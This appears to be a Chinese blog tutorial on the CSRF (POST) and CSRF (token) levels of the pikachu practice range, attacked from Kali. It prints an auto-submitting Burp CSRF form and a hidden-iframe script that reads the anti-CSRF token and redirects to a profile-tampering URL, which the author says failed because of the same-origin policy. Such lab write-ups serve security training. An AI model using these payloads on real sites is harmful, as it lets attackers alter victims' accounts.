pikachu靶场——CSRF(post与token)(Kali系统)

文章目录

前言:本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别CSRF漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

一、CSRF(POST)

post 的攻击方式和 get 的实现步骤完全一致,唯一的区别就是在生成恶意的网站时,他的代码一个为 get 请求,一个是 post 请求,具体的生成的恶意代码如下:

html 复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://目标网站ip/pikachu/vul/csrf/csrftoken/token_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="12345678922" />
      <input type="hidden" name="add" value="usa" />
      <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
      <input type="hidden" name="token" value="2190569ac27f2b1d8c849409371" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

详细实现步骤可以参考pikachu靶场------CSRF(get)(Kali系统)

二、CSRF(TOKEN)

(一)查看 token 位置

在本靶场中,在对修改个人信息进行抓包的时候,发现请求会同时传递一个 token 值。

检擦前端页面,发现该值位于一个 input 的标签中。而且该值是一个动态变化的值,无法固定,只能在每次的返回信息中提取。

(二)构造跳转页面

在这里,我们需要利用 JavaScript 先读取目标页面的 Token,再提交修改请求。

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>Get Token and Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        // 第一步:创建一个隐藏的 iframe,用来加载目标页面,从而获取 Cookie 和 Token
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        iframe.src = 'http://目标ip/pikachu/vul/csrf/csrftoken/token_get_edit.php'; // 目标地址
        
        // 第二步:当 iframe 加载完成后,读取它的内容,提取 Token
        iframe.onload = function() {
            var ifrDoc = iframe.contentDocument || iframe.contentWindow.document;
            
            // 提取 Token (根据网页源码,Token 通常在 input 标签里)
            var tokenInput = ifrDoc.querySelector('input[name="token"]');
            var token = tokenInput.value;
            
            // 第三步:构造攻击 URL 并跳转
            var attackUrl = 'http://目标IP/pikachu/vul/csrf/csrftoken/token_get_edit.php?';
            attackUrl += 'sex=boy&phonenum=88888888888&add=hacker&email=hacker%40pikachu.com&token=' + token + '&submit=submit';
            
            window.location.href = attackUrl;
        };
        
        document.body.appendChild(iframe);
    </script>
</body>
</html>

代码逻辑解析:

  • 隐藏 iframe:创建一个看不见的 iframe,访问 token_get_edit.php。因为是同域(假设攻击页面能访问),浏览器会自动带上 Cookie,服务器返回的页面里包含有效的 Token。
  • 提取 Token:通过 iframe.contentDocument 读取 iframe 里的 HTML 代码,使用 querySelector 找到 中的 xxxx。
  • 发起攻击:将提取到的 Token 拼接到恶意修改的 URL 中,通过 window.location.href 跳转,完成修改。

注意!!!!!==========》

上面是我在网上搜索其他技术大佬的思路,但是在模拟的实际环境中,是无法实现的,具体原因和现象可以参考前面两个博客(pikachu靶场------同源策略(csrf token 没复现成功)pikachu靶场------csrf的几个问题),具体原因就是 同源策略 ,攻击者(kali)构建的恶意网站,与目标主机不是同源,所以无法获取相关资源。

所以,下面这个思路我没有复现成功。现在附在下面,供大家了解参考,有大佬复现成功的可以相互交流。

实际复现步骤:

但是针对于本身 pikachu 靶场的这个 token 关卡,我这边的复现思路如下:

  • 通过抓包可以看出,他其实就是发送的get请求,携带了 token 参数。
  • 在 token 中登录后,再点击 get 和 post 关卡的时候,发现这个登录状态依然存在。
  • 使用 get 管卡中生成的恶意网页进行篡改数据的测试,结果发现篡改成功。

因此,就本靶场而言,使用 get 管卡的请求即可实现信息的修改。

关于环境和恶意网页的修改

在之前的恶意网页中,我们的 IP 地址的书写存在以下的细节。

1.使用实际 IP 的环境。

如果整个环境是3台虚拟机,一台 win系统(作为 pikachu 的服务器),一台 win 系统(作为普通用户),一台 kali 系统(作为攻击主机),这个时候,使用实际 IP 可以实现篡改任务。

2.使用 localhost 作为 IP 地址的环境

整个环境是 2 台虚拟机,一台 win 系统 (同时作为 pikachu 的服务器 和 普通用户),一台 kali 系统(作为攻击主机),这时候,使用 localhost 才能实现篡改,如果写实际的 IP 地址,会出现pikachu靶场------csrf的几个问题里面说的,会跳转到登录页面。

相关推荐
一拳一个娘娘腔4 天前
【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术
前端·xss·csrf
灰子学技术5 天前
Envoy CSRF 保护过滤器实现分析
前端·csrf
xiaoxue..5 天前
详解:XSS 攻击和 CSRF 攻击
安全·面试·xss·csrf
介一安全6 天前
【案例分析】网盘高危漏洞深度剖析:存储型XSS与CSRF的组合攻击
网络·xss·csrf
路baby10 天前
CSRF漏洞详细讲解 并基于pikachu靶场实战演示
网络·网络协议·安全·web安全·网络安全·网络攻击模型·csrf
哆来A梦没有口袋11 天前
前端视角:浏览器的安全机制
安全策略·xss·csrf·浏览器的安全策略·前端面试题安全策略
\xin24 天前
pikachu自编CSRF(GET),CSRF(POST),CSRF(token)
前端·csrf
U盘失踪了1 个月前
学习记录:requests Django登录测试脚本(解决CSRF、重定向问题)
笔记·python·学习·django·csrf
XGeFei1 个月前
【表单处理】——如何防止CSRF(跨站请求伪造)攻击的?
前端·网络·csrf
csdn_aspnet1 个月前
了解 ASP.NET Core 中的防伪技术
后端·asp.net·csrf·.net core